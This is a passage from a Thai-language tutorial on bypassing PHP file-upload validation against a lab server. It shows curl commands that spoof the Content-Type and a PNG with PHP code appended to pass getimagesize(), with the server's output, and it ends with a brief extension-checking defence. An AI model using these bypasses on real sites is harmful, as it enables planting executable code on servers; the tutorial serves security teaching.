Connection: close
Content-Type: text/html

Invalid file

จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์

เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้

$ cat info.php
<?php phpinfo();

แล้ว upload file ด้วยคำสั่ง

$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php
Upload: info.php
Type: image/gif
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1A3.tmp
Stored in: upload/info.php

เย้ ทำได้แล้วปัญหาที่ 1 :)

เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }

จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้

$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php
Upload: info.php
Type: image/png
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1AF.tmp
Invalid image file.

จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S


เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ

ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง

$ ls -l ad.png info.php
-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png
-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php
$ cat ad.png info.php > mypng.php
$ ls -l mypng.php
-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php
$ file mypng.php
mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced

คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี

และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว

$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php
Upload: mypng.php
Type: image/png
Size: 0.64453125 Kb
Temp file: C:\WINDOWS\Temp\php1B3.tmp
Stored in: upload/mypng.php

pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code

คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง